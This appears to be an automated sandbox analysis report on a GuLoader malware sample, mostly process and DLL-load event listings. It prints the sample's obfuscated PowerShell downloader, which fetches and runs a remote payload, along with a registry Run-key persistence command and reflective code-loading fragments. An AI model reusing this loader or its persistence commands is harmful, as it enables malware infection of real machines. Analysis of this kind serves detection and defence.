cktF sTyLSNtVe mH.O$,S tFE,R,nSoSCFlnE ITd O M A s tIO I D');Studiefagets ($Perosmic);Studiefagets (Slede ' $ DBi fPtSe rIiPs .MH e aTd e rFs,[B$ ProdsAt v.eSnPt rSa lS] =A$ b o,gTkAl u.bfb gFeDrHs');$Storefronts=Slede ' $SDJi.fpt e r i s,..DsoBwAnSlToBa d FTi,lSe ( $KS p.uEnKsTh u l , $SD eDnui e rIeFn,sS)';$Denierens=$Databehandles;Studiefagets (Slede ' $MG.LJo BBaSlM:IGHrDAEfHi k.s ySsDt e m E t =O( TfE S t -APFa T HA A$,D e NFiDEPRCeSNMs )');while (!$Grafiksystemet) {Studiefagets (Slede 'B$IgPl o bRa lS:SU nSf a iSlGa bSlDy = $ SktCi nHkRe,t') ;Studiefagets $Storefronts;Studiefagets (Slede 'a[,t H r E asdSiPnNGS. T H R E a,d ] : :osAlTeSeSpV( 4T0 0P0 )');Studiefagets (Slede ' $ gvlIoEBEanL :,gDrFACfsiMK sDywS,T e,m eUTB=,( t E s TO-WPTa t HT O$ d E.NBI,EHr efNSS )') ;Studiefagets (Slede 'P$ gFlAo bAa lP:WPHE r I.p.nFE u MAOBn ISaS=U$EgOL.o b a lS:Np OHSRT NDaPt.a LRl y + + %S$ bHO dPe lDs.1b0D3 .JCUoDurNST') ;$Spunshul=$Bodels103[$Peripneumonia]}$Transcenderende=329225;$Ultrastructurally=28193;Studiefagets (Slede ' $ G.lAO bIa.l : FUE.MHEDt A gMe,rSS HDU s e sR P=C BG eITT-GCOo nKTBe n.TS B$DdDe,N ISEHrSEPNKs');Studiefagets (Slede '.$Sg.lSo bVaMl :FsStSeSgWe p aMnUd ePr n e sS = ,[ISByUsIt e m . C,o n.v eIr t.]D: :VFAraoVmMBKaGs ef6P4 S tRrDi.nTg ( $bFTedmSeDt,aRg e r sKh u saeAs,)');Studiefagets (Slede 'S$Kg LHo B a lS:AHdA VAe A BCLSEN O=F M[ S.y SetaeAM .	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Sorbed" /t REG_EXPAND_SZ /d "%Dalsnkningens% -windowstyle 1 $knobets=(gi 'HKCU:\Software\Nskeligeres117\').GetValue('Nskebarn');%Dalsnkningens% ($knobets)"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Sorbed" /t REG_EXPAND_SZ /d "%Dalsnkningens% -windowstyle 1 $knobets=(gi 'HKCU:\Software\Nskeligeres117\').GetValue('Nskebarn');%Dalsnkningens% ($knobets)"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:

Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.1866565286.0000000007981000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000004.00000002.1878451425.0000000009FDE000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Femetagershuses)$gLoBal:HAVeABLE = [SySteM.texT.EncOdInG]::aSCiI.GeTStrinG($sTegEPAndErNEs)$glOBAl:RAaDIgHedsbELB=$HAVeAbLe.SubsTring($TRAnsCeNdErENDe,$ULtraStRUCTuralLy)<#Styregrupp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Dendroclastic226 $Repetitionsimalar $Backward), (Lumskheden @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Falholdelsen = [AppDomain]::CurrentDomain.GetAs
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Santalaceous)), $Fleuret).DefineDynamicModule($Flugtskuddene, $false).DefineType($Vandforsyningsresursers, $Variablens, [System.Multic
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Femetagershuses)$gLoBal:HAVeABLE = [SySteM.texT.EncOdInG]::aSCiI.GeTStrinG($sTegEPAndErNEs)$glOBAl:RAaDIgHedsbELB=$HAVeAbLe.SubsTring($TRAnsCeNdErENDe,$ULtraStRUCTuralLy)<#Styregrupp

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "Get-Service;$Bjrgningsfartjet='func';Get-History;$Bjrgningsfartjet+='t';Get-History;$Bjrgningsfartjet+='ion:';(ni -p $Bjrgningsfartjet -n Slede -value { param($Monastically);$Asherah229=1;do {$Specifikationsmetodikker+=$Monastically[$Asherah229];$Asherah229+=2} until(!$Monastically[$Asherah229])$Specifikationsmetodikker});ConvertTo-Html;(ni -p $Bjrgningsfartjet -n Studiefagets -value {param($Variabelerklringers);.($kvalt) ($Variabelerklringers)});ConvertTo-Html;$Sternocleidomastoid=Slede 'gnBE TH.NW';$Sternocleidomastoid+=Slede 'PE BPC LQiGe.N T';$bogklubbgers=Slede ' MNoszki lBlMa /';$Bottomers8=Slede 'VT,l s 1 2';$Fendillation=' [ nSe TU.SS EErtvSi c,E P O.i N.t mTaIn a.GBeBR.] : :GS EAC u r,I t Y p r OPTTO CDoClS= $ BPo TNtWO,m E.RSS 8';$bogklubbgers+=Slede ' 5C..0. S( W i n d,o wBsR NIT .1 0U..0.; UW ionC6F4V;S NxO6,4 ;K rPvF: 1T3P4.. 0A)D G eMc k.oM/,2R0A1,0 0,1 0E1 LFOi.rDe f oTx / 1,3P4u. 0';$Postventral=Slede 'SUAS E R -SaCg.E,NEt';$Spunshul=Slede 'IhStgt pa:L/D/Du dPiNrDeA. wEe,b pKg,.,i tR/ H,alr.mPognMi k a ejr nNe.. mAi x';$Putidness=Slede 'R>';$kvalt=Slede ' iUE.x';$Fluesnapperes='Opnaaende';$Undarkened='\Rdkindedes90.Par';Studiefagets (Slede ' $Dg.lSO.b,a.Ld:HD a TUa B EShUa NTDOlUeDS =k$ EAnAvN:MA PsP dDA Tea + $RuPn D AIrDKSE N ESd');Studiefagets (Slede 'S$Sg,l oABGa lB:,b o D e l S 1K0 3N=A$ sUP u.nMS.H u L,..s pBL IOt (S$ pCUGtUIVDpNKe s s,)');Studiefagets (Slede $Fendillation);$Spunshul=$Bodels103[0];$Perosmic=(Slede ' $pG.lOo bOA LB:MD i.F,tEEUR.INsA= nBEUwD-.o bRj,E cktF sTyLSNtVe mH.O$,S tFE,R,nSoSCFlnE ITd O M A s tIO I D');Studiefagets ($Perosmic);Studiefagets (Slede ' $ DBi fPtSe rIiPs .MH e aTd e rFs,[B$ ProdsAt v.eSnPt rSa lS] =A$ b o,gTkAl u.bfb gFeDrHs');$Storefronts=Slede ' $SDJi.fpt e r i s,..DsoBwAnSlToBa d FTi,lSe ( $KS p.uEnKsTh u l , $SD eDnui e rIeFn,sS)';$Denierens=$Databehandles;Studiefagets (Slede ' $MG.LJo BBaSlM:IGHrDAEfHi k.s ySsDt e m E t =O( TfE S t -APFa T HA A$,D e NFiDEPRCeSNMs )');while (!$Grafiksystemet) {Studiefagets 